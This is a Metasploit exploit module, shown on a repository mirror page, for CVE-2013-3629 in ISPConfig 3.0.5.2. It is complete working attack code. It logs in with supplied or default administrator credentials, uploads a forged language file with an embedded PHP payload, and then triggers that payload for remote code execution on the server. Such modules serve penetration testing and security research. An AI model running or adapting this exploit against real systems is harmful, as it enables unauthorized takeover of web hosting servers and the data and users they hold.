Files
metasploit-gs/modules/exploits/multi/http/ispconfig_php_exec.rb
T
h00die d5ba1afbec fix URLs not resolving
fix URLs not resolving

add csv export to references

fix URLs not resolving

pdf not pd

missed a url change

remove extra recirectedfrom fields

remove extra file

fix ovftool url accidental replacement
2022-02-16 17:22:40 -06:00

131 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
'Description' => %q{
ISPConfig allows an authenticated administrator to export language settings into a PHP script
which is intended to be reuploaded later to restore language settings. This feature
can be abused to run aribitrary PHP code remotely on the ISPConfig server.
This module was tested against version 3.0.5.2.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3629'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2013-10-30'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
])
end
def lng
datastore['LANGUAGE']
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
if !init or init.code != 200
fail_with(Failure::UnexpectedReply, "Error getting initial page.")
end
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'passwort' => datastore["PASSWORD"],
's_mod' => 'login',
's_pg' => 'index'
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/content.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 200
fail_with(Failure::NoAccess, "Error authenticating.")
end
sess = login.get_cookies
fname = rand_text_alphanumeric(rand(10)+6) + '.lng'
php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
php << "--|global|#{lng}|#{lng}.lng\n"
php << "<?php \n"
php << payload.encoded
php << "?>\n"
php << "--|mail|#{lng}|#{lng}.lng\n"
php << "<?php"
php << "?>"
data = Rex::MIME::Message.new
data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"")
data.add_part('1', nil, nil, 'form-data; name="overwrite"')
data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
data.add_part('', nil, nil, 'form-data; name="id"')
data_post = data.to_s
print_status("Sending payload")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => sess
})
post = {
'lng_select' => 'es'
}
print_status("Triggering payload...")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
'vars_post' => post,
'cookie' => sess
})
end
end